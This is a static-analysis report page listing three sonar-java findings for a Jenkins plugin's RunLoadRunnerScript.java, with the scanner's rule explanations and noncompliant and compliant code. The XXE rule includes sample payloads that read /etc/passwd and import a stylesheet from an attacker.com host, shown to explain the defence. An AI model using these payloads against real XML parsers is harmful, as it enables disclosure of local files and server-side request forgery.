Sign upLogin

jenkinsci/hpe-application-automation-tools-plugin

View on GitHub
Star
src/main/java/com/microfocus/application/automation/tools/run/RunLoadRunnerScript.java

Summary

Maintainability
A
0 mins
Test Coverage

Disable access to external entities in XML parsing.
Open

            TransformerFactory factory = TransformerFactory.newInstance();
Severity: Blocker
Found in src/main/java/com/microfocus/application/automation/tools/run/RunLoadRunnerScript.java by sonar-java

XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.

Example in this XML document, an external entity read the /etc/passwd file:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

It is recommended to disable access to external entities and network access in general.

To protect Java XML Parsers from XXE attacks these properties have been defined since JAXP 1.5:

  • ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
  • ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
  • ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);

Note that Apache Xerces is still based on JAXP 1.4, therefore one solution is to set to false the external-general-entities feature.

Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:

  • it has no effect to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
  • or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).

When setting an entity resolver to null (eg: setEntityResolver(null)) the parser will use its own resolution, which is unsafe.

Noncompliant Code Examples

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = df.newDocumentBuilder();  // Noncompliant
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();  // Noncompliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();  // Noncompliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();  // Noncompliant
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);  // Noncompliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator validator = schema.newValidator();   // Noncompliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

Dom4j library:

SAXReader xmlReader = new SAXReader(); // Noncompliant by default
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Noncompliant by default
Document document = builder.build(new File(xml));

Compliant Solution

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant

XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant
// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
// validators will also inherit of these properties
Validator validator = schema.newValidator();

validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");   // Compliant
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");   // Compliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:

SAXReader xmlReader = new SAXReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
Document document = builder.build(new File(xml));

See

"build" is a method parameter, and should not be used for synchronization.
Open

        synchronized (build) {
            LrScriptHtmlReportAction action = build.getAction(LrScriptHtmlReportAction.class);
            if (action == null) {
                action = new LrScriptHtmlReportAction(build);
                action.mergeResult(build, scriptName);
Severity: Major
Found in src/main/java/com/microfocus/application/automation/tools/run/RunLoadRunnerScript.java by sonar-java

Synchronizing on a class field synchronizes not on the field itself, but on the object assigned to it. So synchronizing on a non-final field makes it possible for the field's value to change while a thread is in a block synchronized on the old value. That would allow a second thread, synchronized on the new value, to enter the block at the same time.

The story is very similar for synchronizing on parameters; two different threads running the method in parallel could pass two different object instances in to the method as parameters, completely undermining the synchronization.

Noncompliant Code Example

private String color = "red";

private void doSomething(){
  synchronized(color) {  // Noncompliant; lock is actually on object instance "red" referred to by the color variable
    //...
    color = "green"; // other threads now allowed into this block
    // ...
  }
  synchronized(new Object()) { // Noncompliant this is a no-op.
     // ...
  }
}

Compliant Solution

private String color = "red";
private final Object lockObj = new Object();

private void doSomething(){
  synchronized(lockObj) {
    //...
    color = "green";
    // ...
  }
}

See

  • MITRE, CWE-412 - Unrestricted Externally Accessible Lock
  • MITRE, CWE-413 - Improper Resource Locking
  • CERT, LCK00-J. - Use private final lock objects to synchronize classes that may interact with untrusted code

Either re-interrupt this method or rethrow the "InterruptedException" that can be caught here.
Open

        } catch (IOException | InterruptedException e) {
Severity: Major
Found in src/main/java/com/microfocus/application/automation/tools/run/RunLoadRunnerScript.java by sonar-java

InterruptedExceptions should never be ignored in the code, and simply logging the exception counts in this case as "ignoring". The throwing of the InterruptedException clears the interrupted state of the Thread, so if the exception is not handled properly the fact that the thread was interrupted will be lost. Instead, InterruptedExceptions should either be rethrown - immediately or after cleaning up the method's state - or the thread should be re-interrupted by calling Thread.interrupt() even if this is supposed to be a single-threaded application. Any other course of action risks delaying thread shutdown and loses the information that the thread was interrupted - probably without finishing its task.

Similarly, the ThreadDeath exception should also be propagated. According to its JavaDoc:

If ThreadDeath is caught by a method, it is important that it be rethrown so that the thread actually dies.

Noncompliant Code Example

public void run () {
  try {
    while (true) {
      // do stuff
    }
  }catch (InterruptedException e) { // Noncompliant; logging is not enough
    LOGGER.log(Level.WARN, "Interrupted!", e);
  }
}

Compliant Solution

public void run () {
  try {
    while (true) {
      // do stuff
    }
  }catch (InterruptedException e) {
    LOGGER.log(Level.WARN, "Interrupted!", e);
    // Restore interrupted state...
    Thread.currentThread().interrupt();
  }
}

See

There are no issues that match your filters.

Category
Status